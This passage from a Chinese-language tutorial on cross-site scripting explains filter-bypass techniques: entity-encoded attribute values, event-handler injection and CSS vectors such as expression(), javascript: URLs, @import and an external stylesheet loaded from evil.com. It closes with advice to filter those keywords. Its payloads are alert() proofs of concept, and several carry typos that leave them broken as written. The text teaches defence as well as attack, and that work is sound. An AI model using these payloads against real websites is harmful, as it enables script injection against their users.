4)对标签属性值进行编码
如果程序对html标签的属性值(注意是属性值不是属性)进行过滤,我们可以对其进行编码来绕过。以为html中属性值本身支持ascll码的形式。比如:
javaScript:alert(“xss”)编程javaScrips:alert(“xss”)
同时在此基础上如果过滤了空格、tab键等,我们也可以将他们进行编码转化。比如换行符的ascll编码为
、tab的编码为	.所以我们可以进行如下转化。/ 变为/。
综上因此我们在防御xss的时候也应该过滤掉#、&。
5)产生自己的事件:
事件能让Javascript代码执行比如:
<input tupe=“button” value=“click” onlick=“alert:(“xss”)”>
我们点击click按钮,即可触发onlick事件,进而触发代码。
再比如:
<img src="#" οnerrοr=alert:(“xss”)>在这里oneerro是img标记的一个事件,只要页面发生错误,该事件就被激活,进而执行代码。src属性用来引用图片的地址,如果地址不存在或者是错误的就会报错。
6)css跨站剖析
css跨站脚本的另一个载体是css样式表。但是css样式表在各个浏览器之间不能通用,甚至同一浏览器不同版本之间都不能通用。
使用css执行JavaScript代码的示例如下:
<div style=“background-image:url(javascript:alert(‘xss’))”>
<style>
body {background-image: url(“javascript:alert(‘xss’)”);}
</style>
使用expression同样也可以触发xss漏洞:
<div style=“width: expression(alert(‘xss’));”>
<style>
body {background-image: expression(alert(‘xss’));}
</style>
从上面我们可以看出,如果客户端禁用了style标签,我们可以利用html标签的style属性执行代码,。而且style属性可以和任意字符的标签结合。
css有一个特点:
css样式表不需要嵌入HTML代码中,他能从其他文件甚至是从不同的服务器上进行引用,比如,用户可以使用<link>标签引用css。
例如:
假设样式表文件的地址为http://www.evil.com/attack.css。其中嵌入了代码
p {
background-image: expression(alert(‘xss’));
}
这时候目标网站的xss explipt为:
<link rel=“stylesheet” herf=“http://www.evil.com/attack.css”>
另外也可利用@import进行导入。@import有一个特点,就是能直接执行Javascript代码,比如:
<style>
@import ‘javascript:alert(“xss”)’;
</style>
**
综上所述:安全起见,我们也应该过滤expression、JavaScript、import等关键字。
**
补充:
background-image 属性描述了元素的背景图像.
body {background-image:url(‘paper.gif’);}